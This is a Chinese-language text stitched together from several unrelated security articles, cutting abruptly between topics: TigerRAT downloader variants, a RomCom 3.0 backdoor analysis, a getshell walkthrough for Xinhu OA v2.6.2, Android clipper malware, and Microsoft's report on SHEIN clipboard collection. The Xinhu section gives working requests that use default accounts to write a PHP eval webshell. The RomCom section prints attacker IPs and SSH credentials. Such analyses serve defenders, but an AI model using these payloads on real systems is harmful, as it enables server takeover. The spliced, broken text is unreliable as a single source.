接著我們將更詳細地分析下載程序和RAT變體,將分析限制在集群代表上。這種將分析減少為聚類代表的函數是定向和高效分析和跟踪惡意軟件變體的關鍵。下面的分析中使用的集群代表及其名稱的選擇如下圖所示。

9.png

後續分析中使用的集群代表

TigerDownloader變體在本節中,我們將仔細研究兩個下載程序變體:Downloader-Malwarebytes-x64 和Downloader-Kaspersky-x64。從集群和代碼重用分析,我們知道它們共享97% 的代碼,因此是TigerDownloader 家族的非主要變體。

使用我們的分析工具鏈的二進制差異函數,如下所示,樣本主要由相同的函數組成,除了卡巴斯基(Downloader-Kaspersky-x64) 中的一個獨特函數(地址為0x140001230 的函數)樣本。

10.png

Downloader-Kaspersky-x64和Downloader-Malwarebytes-x64之間的函數級別差異

分析來自卡巴斯基的下載程序示例,我們看到未知函數(0x140001230)是由下載程序的主函數調用的。

11.png

左側Downloader-Kaspersky-x64,右側Downloader-Malwarebytes-x64

原來這個函數是用來實現持久性的,所使用的技術很簡單,包括在當前用戶啟動文件夾中創建一個鏈接,以確保目標設備重新啟動時啟動下載程序。

12.png

為持久性創建快捷方式的函數

13.png

持久性可執行文件的快捷方式

最後,我們注意到在Downloader-Malwarebytes-x64示例中沒有發現任何持久性技術。原因很可能是盡量減少留在受害設備上的痕跡。

與TigerDownloader的關係不幸的是,KrCERT 報告中的下載程序樣本(f0ff67d4d34fe34d52a44b3515c44950) 未公開提供與TigerDownloader相關聯的正怒,因此我們無法將其包含在我們的分析中。儘管如此,為了檢查KrCERT 與Malwarebytes 和Kaspersky 下載程序之間可能的關係,我們試圖純粹基於KrCERT公開報告的工件和行為將它們連接起來。

KrCERT報告了他們在下載程序中找到的兩個C2命令,在可供我們使用的下載程序中找不到任何“Tiger10X”標識符,同時我們也無法找到任何其他可能是C2命令的標識符。

14.png

KrCERT報告的TigerDownloader C2命令

另一方面,我們發現KrCERT報告的各種功能也出現在其他下載程序中:

1.KrCERT報告中的打包符合我們在上面建立的打包方案;

2.KrCERT報告說,通信是使用Base64編碼的,我們也在我們的樣本中觀察到了這一點;

3.由第二階段(下載程序)下載的第三階段(RAT)都屬於同一個TigerRAT家族(我們將在下一節中建立)。

簡而言之,上面的觀察表明KrCERT下載程序可能與Malwarebytes和Kaspersky觀察到的下載程序有關。然而,這只是推測,因為我們沒有訪問KrCERT樣本,因此缺乏確鑿的證據。

TigerRAT變體回顧了代碼重用和聚類分析,我們可以通過代碼重用分析將所有RAT 連接到相同的TigerRAT家族。我們還看到,RAT變體比下載程序變體變化更大。例如,變體RAT-Kaspersky-x64和RAT-KrCERT-x64僅共享大約50%的代碼。

接下來,我們將進一步研究RAT變體。我們在函數和設計層面上提出了強有力的新證據,進一步將RAT變體歸為相同的TigerRAT惡意軟件家族。經分析,變體的主要區別在於它們實現的C2命令。

對於這個分析,我們將重點關注我們在之前建立的RAT-Kaspersky-x64、RAT-KrCERT-x64和RAT-Kaspersky-x86的代表。

各變體命令和函數讓我們看看在不同變體中找到的C2命令,下圖顯示了我們在其中一個RAT變體中觀察到的所有C2命令。由於缺少ids0x08和0x09的命令,因此我們推測,在野外還有未知的樣本包含這些命令。

15.png

在RAT三種變體中至少有一種可以使用的所有C2命令

接下來,我們將查看不同變體所支持的C2命令。

16.png

在不同RAT變體中發現的C2命令

我們看到,使用聚類分析自動識別的三個變量實際上是三個函數不同的變量。除了C2函數中的這些變化之外,這些變體的核心代碼在很大程度上是相同的。因此,本質上是C2命令定義了這三種變體。我們還觀察到“FileManager”、“ScreenCapture”、“SelfDelete”和“Shell”這四個命令對所有的變體來說都是通用的。

C2命令的通用接口我們找到了三個變體通用的接口,如下所示:

17.png

該接口提供了一個由RAT中所有C2命令實現的抽象,這個通用接口在其核心C2函數的變體之間建立了一種強大的關係。

RAT-KrCERT-x64 中的新C2 協議變體C2 協議在所有變體中基本相同,不過我們還是在RAT-KrCERT-x64 變體中發現的一個小的協議變化。這一變化涉及到惡意軟件在C2上的註冊,並包含一個位於TCP模塊中的額外檢查,該檢查負責與C2的所有通信:

18.png

紅色矩形包含添加到RAT-KrCERT-x64變體的新協議檢查。

19.png

左圖,其他變體;右邊,RAT-KrCERT-x64 變體

新函數會向C2 發送一個17 字節長度的塊,我們還沒有分析發送了什麼數據,但看起來它可能與木馬標識符或類似的東西有關。發送數據後,它會檢查C2 是否返回字符串“n0gyPPx”。

20.png

“n0gyPPx”的C2 協議檢查

除了這個協議變化之外,我們還觀察到RAT-KrCERT-x64變體在第一個請求的通信開始時發送的HTTP標頭中的變化。

21.png

HTTP 標頭的變化

基於此協議分析,我們認為RAT- krcert -x64是RAT的一個新版本。

由經濟利益驅動,惡意組織在地緣衝突區域發起APT攻擊的趨勢越來越明顯。

Void Rabisu,也被稱為Tropical Scorpius,研究人員認為它使用RomCom後門發起攻擊。分析發現,Void Rabisu的攻擊是出於經濟動機。自2022年10月以來,Void Rabisu的動機似乎發生了變化,當時RomCom後門被報導出現在俄烏衝突中。

研究發現,至少自2022年10月以來,RomCom後門一直出現在地緣政治區域,接下來,研究人員將討論RomCom是如何隨著時間的推移而演變的,以及後門是如何通過類似APT的方法傳播的,以及目前正在發生的著名網絡犯罪活動所使用的方法,以表明RomCom正在使用更多的逃避技術。

RomCom使用的第三方服務也被其他攻擊者使用,如惡意軟件簽名和二進制加密。 RomCom已經通過許多誘餌網站傳播。 Void Rabisu是出於經濟動機的,他們的目標和動機在特殊的地緣政治環境下看起來更像是出於政治目的。

RomCom活動自2022年夏天以來,研究人員一直在跟踪RomCom的活動,自那以後,它的逃避方法有所升級,惡意軟件不僅經常使用VMProtect來增加手動和自動沙盒分析的難度,而且還在有效負載文件上使用二進制填充技術。這為文件添加了大量的覆蓋字節,增加了惡意負載的大小(研究人員看到一個文件的大小為1.7G)。此外,最近添加了一個新的例程,該例程涉及有效負載文件的加密,只有在下載特定密鑰以激活有效負載的情況下,才能對有效負載文件進行解密。

除了這些逃避技術外,RomCom還使用誘餌網站進行傳播,這些網站通常看起來是合法的,並被用於目標定位。這使得通過網絡信譽系統自動屏蔽這些誘惑網站變得更加困難。 Void Rabisu一直在使用谷歌廣告誘導他們的目標訪問誘餌網站,類似於2022年12月傳播IcedID殭屍網絡的活動。一個關鍵的區別是,雖然IcedID的目標範圍更廣,但Void Rabisu可能選擇了谷歌廣告向其廣告商提供的更有針對性的目標。

RomCom的活動還利用了具有高度針對性的魚叉式網絡釣魚電子郵件。

在RomCom誘餌網站上,目標被提供合法應用程序的木馬版本,如聊天應用程序(如AstraChat和Signal)、PDF閱讀器、遠程桌面應用程序、密碼管理器和其他通常由系統管理員使用的工具。

1.1.png

1.2.png

1.3.png

1.4.png

1.5.png

1.6.png

研究人員統計了自2022年7月以來建立的幾十個誘餌網站。例如,RomCom在2022年3月對一名歐洲議會議員使用了魚叉式網絡釣魚,但在2022年10月通過谷歌廣告定位了一家歐洲國防公司,該廣告導致一個中介登陸網站重定向到RomCom誘餌網站。該中介登陸網站使用了域名“kagomadb[.]com”,該域名後來於2022年12月用於Qakbot和Gozi有效負載。

追踪發現,RomCom後門的目標是烏克蘭及其盟友。

RomCom 3.0:AstraChat活動接下來,我們將分析2023年2月針對東歐目標使用的RomCom後門樣本。 Palo Alto的Unit 42分析了以前的RomCom版本,使用模塊化架構,支持多達20種不同的命令。從那時起,惡意軟件在支持的命令數量方面發生了顯著變化,但其模塊化架構幾乎沒有改變。 RomCom 3.0背後的攻擊者還使用不同的技術來釋放和執行惡意軟件。該分析基於一項將RomCom 3.0嵌入AstraChat即時消息軟件安裝包的活動。

Dropperastrachat.msi 文件是一個Microsoft安裝程序(msi)文檔。儘管安裝了與合法的AstraChat軟件相關的文件,但它還是打開了一個惡意的InstallA.dll文件,並調用其Main()函數。

2.png

InstallA.dll文件提取%PUBLIC%\Libraries文件夾下的三個動態鏈接庫(DLL)文件:

prxyms

winipfile

netid

這些DLL文件中的數字是基於從HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid的Windows註冊表中讀取的計算機GUID的整數。

持久性為了持久性,RomCom使用COM劫持,因此得名。 InstallA.dll在Windows註冊表中寫入以下註冊表值:

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32]

@='%PUBLIC%\\Libraries\\prxyms

這會覆蓋HKEY_LOCAL_MACHINEhive中的相同項,導致請求該類ID(CLSID)的進程加載位於%PUBLIC%\Libraries\prxyms.DLL的RomCom加載程序DLL。其中一個進程是explorer.exe,它由RomCom dropper重新啟動,因此調用加載程序DLL。

RomCom加載程序還通過使用轉發的導出將對其導出函數的調用重定向到合法的actxprxy.dll。

3.png

RomCom 3.0加載程序(prxyms

但是,在調用被轉發之前,RomCom加載程序的DLL入口點上的惡意代碼會運行。這段代碼使用rundll32.exe來執行從winipfile

基礎架構RomCom 3.0分為三個組件:一個加載器,一個與命令和控制(CC)服務器交互的網絡組件,以及一個在受害者計算機上執行操作的工作組件。網絡組件由netid

4.png

RomCom 3.0總體架構

Bot命令RomCom 3.0命令是惡意網絡組件對HTTP POST請求的響應。

5.png

RomCom 3.0命令結構

上圖顯示了接收到命令5的示例,該命令是將文件下載到受害者的計算機上的命令。用於通信的ID是0x950,並且接收到帶有附加數據的命令0x05。在這種情況下,附加數據告訴受感染計算機上運行的惡意軟件,下載的文件應佔用939 (0x3ac – 1) 4KB塊。文件本身是在單獨的響應中下載的,因此在這種情況下,受害者端的最終文件大小將為3,846,144字節。作為一種逃避技術,將空字節附加到文件中以實現此結果,附加數據字段的內容可能因命令而異。

在RomCom 3.0中,研究人員列舉了42個有效命令,以下是用於常規後門的大量命令,但是其中一些命令只是其他命令的變體。

1—發送連接的驅動器信息;

2—發送指定目錄下的文件名列表;

3—啟動cmd.exe以運行現有程序;

4—將指定的文件上載到CC服務器;

5—將文件下載到受害者的計算機上;

6—刪除受害者計算機上的指定文件;

7—刪除受害者計算機上的指定目錄;

8—生成一個帶有PID欺騙的給定進程(PID也作為命令數據的一部分);

12—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker(),然後將%PUBLIC%\Libraries\PhotoDirector.zip發送到CC服務器並將其刪除;

13—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker(),將屏幕信息寫入%PUBLIC%\Libraries\update.conf;

14—將%PUBLIC%\Libraries\PhotoDirector.zip上傳到CC服務器並將其刪除;

15—發送正在運行的進程及其PID的列表;

16—發送已安裝軟件列表;

17—刪除worker組件(winipfile

18—下載文件並將其保存到%PUBLIC%\Libraries\PhotoDirector.dll;

19—下載一個文件,保存到“%PUBLIC%\Libraries\BrowserData\procsys.dll”中,調用其導出的stub()函數;

20—下載一個可能包含3proxy和plink的ZIP文件;

21—使用3proxy和plink,通過SSH協議建立代理,接收IP地址、密碼、本地和遠程端口作為命令參數,SSH服務器用戶名固定為“john”;

22—終止3proxy.exe和plink.exe進程;

23—下載一個文件並將其保存到%PUBLIC%\Libraries\upd-fil

24—發送%PUBLIC%\Libraries\BrowserData\Result的內容;

25—複製工作線程;

26—發送Windows版本;

29—從CC服務器下載freeSSHd;

30—運行freeSSHd並使用plink創建51.195.49.215的反向連接,用戶名為“john”,密碼為“eK6czNHWCT569L1xK9ZH”

31—關閉freeSSHd進程;

32—在%USERPROFILE%中的“下載”、“文檔”和“桌面”文件夾中發送.txt、rtf、xls、xlsx、ods、cmd、pdf、vbs、ps1、one、kdb、/kdb、doc、doc,odt、eml、msg和.email文件;

34—在受害者計算機的隱藏窗口運行AnyDesk,將AnyDesk ID發送給CC服務器;

35—終止AnyDesk進程,並刪除其可執行文件;

36—下載AnyDesk可執行文件並將其保存到%PUBLIC%\Libraries\dsk.exe;

38—下載文件並將其保存到%PUBLIC%\Libraries\wallet.exe;

39—下載文件並將其保存到%PUBLIC%\Libraries\7z.dll;

40—下載文件並將其保存到%PUBLIC%\Libraries\7z.exe;

41—發送用7-Zip壓縮的%PUBLIC%\Libraries\tempFolder的內容;

42—下載文件並將其保存到%PUBLIC%\Libraries\7za.exe;

43—使用%PUBLIC%\Libraries\7za.exe將給定文件夾壓縮為fold.zip文檔,並將壓縮後的文檔發送到CC服務器;

44—終止PhotoDirector.dll進程;

45—下載文件並將其保存到%PUBLIC%\Libraries\msg.dll;

46—調用%PUBLIC%\Libraries\msg.dll導出的stW()函數;

47—下載文件並將其保存到%PUBLIC%\Libraries\FileInfo.dll;

48—調用%PUBLIC%\Libraries\FileInfo.dll導出的fSt()函數;

49—更新網絡組件;

其他惡意軟件根據發送回CC服務器的消息以及命令如何使用這些文件,研究人員可以推斷出幾個附加組件的用途:

PhotoDirector.dll—用於獲取一個或多個屏幕截圖,並將它們壓縮到%PUBLIC%\Libraries\PhotoDirector.zip中的程序;

procsys.dll—一個被稱為STEALDEAL的竊取程序,用於檢索瀏覽器cookie並將其寫入%PUBLIC%\Libraries\BrowserData\Result;

wallet.exe—一個加密錢包抓取器,將被盜信息寫入%PUBLIC%\Libraries\tempFolder;

msg.dll—用於竊取聊天信息的即時消息抓取器;

FileInfo.dll—FTP憑據的竊取器,或使受害者的計算機將文件上傳到FTP服務器的組件;

除了這些額外的惡意軟件,RomCom 3.0似乎也有下載和運行合法軟件的命令:

dsk.exe–AnyDesk軟件的便攜式版本;

7z.dll、7z.exe和7za.exe–與7-Zip程序相關的文件;

STEALDEAL通過RomCom的CC服務器下載的竊取程序是一個相對簡單的程序,它可以從以下瀏覽器中竊取存儲的憑據和瀏覽歷史:

GoogleChrome

MicrosoftEdge

MozillaFirefox

Chromium

ChromeBeta

YandexBrowser

竊取器還收集了有關已安裝郵件客戶端的信息。被盜數據本地存儲在受害者計算機上的%PUBLIC%\Libraries\BrowserData\Result,通過CC命令24,這些數據通過RomCom CC服務器進行被洩漏。研究人員檢測到這個竊取器是TrojanSpy.Win64.STEALDEAL,也被稱為SneakyTealer。

逃避技術RomCom 3.0二進製文件受VMProtect保護。有些二進製文件還使用有效的證書進行簽名。因為攻擊者決定使用VMProtect的反虛擬機功能,在沒有修改或虛擬機加固的情況下在虛擬機中運行它的任何嘗試都將導致惡意軟件顯示錯誤消息並退出。

6.png

RomCom 3.0示例中默認的VMProtect反虛擬機檢測

RomCom使用的另一個有趣的技術是將空字節添加到從CC服務器接收的文件中的能力。將文件增大可以是為了避免沙盒產品或安全軟件掃描儀對文件大小進行限制。

在之後的RomCom版本中,託管在誘餌網站上的二進製文件包含加密的有效負載。要正確解密負載,它需要訪問IP地址為94.142.138.244的web服務器並下載解密密鑰。研究人員懷疑該網站是一個第三方服務,也可能被其他惡意軟件使用,包括Vidar竊取程序,也被稱為StealC。另外,最新的RomCom釋放程序已停止釋放worker組件。相反,網絡組件要從CC服務器下載它。

數據包的結構(packetstructure)和通信流根據研究人員對受害者計算機和RomCom CC服務器之間通信的觀察,研究人員能夠確定這種通信的數據包結構。最初,客戶端會向服務器發送受害者計算機上的信息,例如其通用唯一標識符(UUID)、用戶名和計算機名稱。然後,服務器將使用一個四個字節長的會話ID進行響應。然後,CC服務器對發送到受害計算機的每個命令在第一個字節上增加一個會話ID。

7.png

觀察到的數據包結構

研究人員觀察到的第一個命令是命令3,它使用cmd.exe運行帶有參數/domain_trusts的Nltest命令。這樣做是為了收集受害者計算機可能知道的任何域的信息。一旦命令完成,它將返回會話ID為五字節的命令結果;此時前四個字節是未知的,但研究人員觀察到,如果它向服務器返回數據,則第一個字節將為0x01,如果它從服務器接收數據,則為0x00。

然後,CC服務器似乎以自動的方式請求特定的信息,因為相同的請求會快速連續地發送。根據研究人員的分析,他們確定服務器正在請求受害計算機:

使用命令3返回ntlist/domain_trusts;

下載StealtDeal以收集某些信息;

使用StealtDeal從受害者的計算機收集cookie和其他信息;

使用命令32從“桌面”、“文檔”和“下載”文件夾中收集文件;

8.png

CC服務器和受害者計算機之間的通信流程

使用假冒公司和網站惡意軟件使用證書為目標受害者下載的軟件增加可信度。乍一看,正在簽署這些二進製文件的公司看起來像是經過證書籤名的合法公司。然而,仔細查看這些公司的網站會發現一些奇怪之處,包括不存在的電話號碼、高管的照片、似乎不匹配的辦公室地址。這讓研究人員相信,這些要么是虛假公司,要么是合法公司,它們被濫用以逃避二進製文件授權簽名檢查。

AstraChat活動中使用的RomCom 3.0樣本由一家名為Noray 的加拿大諮詢公司簽署,該公司擁有一個LinkedIn頁面、一個網站,甚至在加拿大的商業註冊中有一個列表。

9.png

Noray 諮詢公司的LinkedIn頁面截圖

11.png

Noray 諮詢公司的安大略省商業註冊搜索結果

該公司的LinkedIn頁面還提到,Noray 諮詢公司致力於《萨班斯-奥克斯利法案》 (SOX)規定的年度審計,以及其他風險控制領域。然而,領英的頁面也指向一個不存在的網站noray[.]ca。

根據其LinkedIn頁面,該公司聲稱總部位於安大略省,研究人員在加拿大企業的公共記錄中查找了有關該公司的任何信息。在2020年,Noray 諮詢公司的所有者已經修改了公司名稱。攻擊者似乎很善於利用那些不活躍或處於類似狀態的公司,然後會盜用這些公司的名字。

在網上搜索Noray諮詢公司時會發現,其主要網站有一個不匹配的域名firstbytecconsulting[.]com。該網站曾是一家專門從事項目管理公司的網站。該域名似乎已於2020年到期,但被購買並重新利用,類似於2020年之前的網站。現在,將這個域名與Noray諮詢公司有關的是,網站上的地址詳細信息與Noray諮詢公司的LinkedIn頁面上的地址信息相匹配:這是一家位於安大略省米爾頓的加拿大公司。聯繫人頁面上有一張顯示公司位置的地圖,但地圖是俄語的。這可能意味著製作這張谷歌地圖的人的主要語言設置為俄語,這對於一家加拿大公司來說及其怪異。

11.png

網站聯繫人頁面地圖截圖

研究人員還發現,他們網站上提到的人很可能是與企業沒有任何關係的人的庫存圖像或人工智能生成的照片,如下圖所示。

12.png

網站團隊成員頁面截圖

進一步調查顯示,上圖中潛藏有許多危險標識:

這些人在互聯網上似乎都沒有真實的人物形象;

反向圖像搜索顯示,這些是在幾個網站上使用的庫存照片圖像;

團隊中的兩名成員擁有相同的職位,即“經理、人力資源流程和薪酬”;

研究人員還觀察到,Noray諮詢公司網站其他部分的文本有部分是從其他網站複製的。這表明,這些攻擊者正試圖讓這些網站變得可信,提供從網上找到的真實公司那裡獲得的看似現實的服務。

Void Rabisu有許多誘餌網站,試圖說服目標下載木馬合法應用程序。這些誘餌網站乍看起來是合法的,但仔細看會有許多奇怪之處。例如,

0x01 前言信呼OA是一款開源的OA系統,面向社會免費提供學習研究使用,採用PHP語言編寫,搭建簡單方便,在中小企業中具有較大的客戶使用量。從公開的資產治理平台中匹配到目前互聯中有超過1W+的客戶使用案例。

信呼OA目前最新的版本是V2.6.2,發佈時間是2023-12-22。作者整體上保持了較高的系統更頻率,對歷史爆出的安全問題也及時進行修復。目前網上能找到的信呼OA getshell的辦法大多數是老版本或者是需要admin權限的,沒有針對新版本進行getshell的思路。

0x02 步驟本地搭建當前最新版的信呼OA系統V2.6.2,如下圖所示。

1.png

使用普通OA用戶登陸,信呼OA安裝之後默認存在賬號diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用戶,密碼都是123456。這裡使用普通用戶xiaoqiao登陸,然後構造下面的請求。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};phpinfo ();class a

2.png

生成的文件訪問如下(以下兩種方式均可):

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php

http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

3.png

由於傳遞的參數值會被全部轉化為小寫字母(下一步的漏洞分析中會提到),導致我們不能在webshell中使用大寫字母,所以並不能直接寫一句話webshell。繞過方式是可以通過下面的方式來轉化一下一句話木馬。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};eval (strtoupper('eval (\$_request[1]);'));class a

運行之後訪問下面的鏈接,由於鏈接中涉及到多個特殊字符,如果不清楚應該如何轉義的請複制下面的鏈接。

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

4.png

0x03 分析在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用戶傳入的參數,如下圖所示。

5.png繼續跟踪createtxt方法,如下所示,僅僅只是進行了文件寫入操作,並沒有進行過濾,導致任意文件寫入漏洞。

6.png原文鏈接關注Beacon Tower Lab專欄

1.png出於安全原因,在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址,而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容,並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下,受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。

這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播,並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月,在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。

安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序,該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰,以控制受害者的以太坊資金。但是,它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。

為了減輕此類隱私風險,谷歌近年來對Android 進行了進一步改進,包括在應用程序訪問剪貼板時顯示toast 消息,並禁止應用程序獲取數據,除非它在前台主動運行。

前言安全研究人員發現,中國時尚電子零售商Shein 的Android 應用程序存在缺陷,允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器,受影響的用戶數量可能達到數百萬,因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO,成立於2008 年,是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0,在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元,預計2022 年將超過200 億美元。

Microsoft 365 Defender 研究團隊表示,他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。

雖然微軟研究人員並未發現應用程序開發人員有任何惡意,但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。

Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性,也就是說,放在剪貼板上的所有內容都是公共的,設備上所有正在運行的應用程序都可以訪問,無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中,這不是一個嚴重的安全問題,因為它的剪貼板是用戶驅動的,一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。

相比之下,Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問,各種用戶,即應用程序,都可以在Android剪貼板上任意操作,不受任何限制。更糟糕的是,移動設備的屏幕尺寸有限。首先,用戶更有可能在移動設備上複製和粘貼數據,以節省打字工作量。此外,在將內容從剪貼板粘貼到應用程序後,用戶可以看到的字符更少,從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。

考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息,如密碼或支付信息,剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例,例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外,這些類型的攻擊濫用合法的系統功能而不是利用漏洞,使得問題更難以緩解。

微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容,如果存在特定模式,則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖,但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。

SHEIN 的Android 應用程序在Google Play 商店發布,下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意,這個案例也凸顯了安裝的應用程序可能帶來的風險,包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現,推動他們的Android 安全團隊展開調查。 2022 年5 月,谷歌通知我們,我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。

在此博文中,我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為,以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究,以強調協作在提高所有人安全性方面的重要性。

靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在,我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析,以確定對行為負責的相關代碼。然後,我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼,包括它如何讀取剪貼板並將其內容髮送到遠程服務器。

2.png

圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例

識別代碼打開應用程序後,啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類,該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用,如下面第11 行所示:

3.png

圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用

com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ,部分描述如下,在同一類中執行對方法o 的調用,如第16 行所示:

4.png

圖3. 方法h執行對同一類中方法o的調用

最後,在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法,如第2 行所示:

5.png

圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法

方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示,檢查字符序列“$”和“://”是否存在於剪貼板文本中,如第6 行所示。如果兩者都存在,則調用同一類中的方法k,並將剪貼板文本作為參數提供,如第8行所示:

6.png

圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”,將剪貼板文本作為參數提供給方法k

方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求,解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase:

7.png

圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求

由於應用程序的所有活動(用戶界面)都擴展了com.zzkko.base.ui.BaseActivity,因此只要用戶啟動新活動,例如通過啟動或恢復應用程序或在其中執行某些操作,就會觸發上述調用鏈應用程序。

驗證代碼的剪貼板行為為了驗證我們的靜態分析結果,我們對該應用程序進行了動態分析,該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。

我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用,以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書,使我們能夠使用Burp Proxy分析網絡流量。

我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。

打開應用程序後,記錄了以下調用:

8.png

圖7. 顯示應用剪貼板過濾的通話記錄

在上面的圖7 中,我們觀察到以下內容:

第28 行:調用函數com.zzkko.util.MarketClipboardPhaseLinker.f

第29-49 行:堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F

第53、55 行:調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法

最後,執行對api-service[.]shein[.]com 的POST 請求。隨後,我們在Burp Proxy 中捕獲了以下請求,顯示了剪貼板內容到遠程服務器的傳輸:

9.png

圖8. 將剪貼板內容傳輸到遠程服務器

安卓剪貼板保護如涉及SHEIN 的此案例所示,Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板,而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程,例如快速選擇要復制的文本,但應用程序通常不需要這樣做,因為複制和粘貼通常由設備輸入法編輯器(鍵盤)執行,它是一個單獨的應用程序。

為了解決我們的研究發現和手頭更廣泛的問題,谷歌已經認識到與剪貼板訪問相關的風險,並對Android平台進行了以下改進以保護用戶:

在Android 10 及更高版本上,應用程序無法訪問剪貼板,除非它當前具有焦點(正在設備顯示屏上主動運行)或被設置為默認輸入法編輯器(鍵盤)。此限制可防止後台應用程序訪問剪貼板,但不會阻止此處描述的行為,因為SHEIN 應用程序在前台運行。

在Android 12 及更高版本上,當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時,會顯示一條toast 消息通知用戶。

10.png

圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例

Android 13會在一段時間後清除剪貼板的內容,以提供額外程度的保護。

用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示,他們應該假設剪貼板上的任何數據都可能受到損害,並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。

負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意,但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險,例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。

我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險:

始終保持設備和已安裝的應用程序是更新後的最新狀態

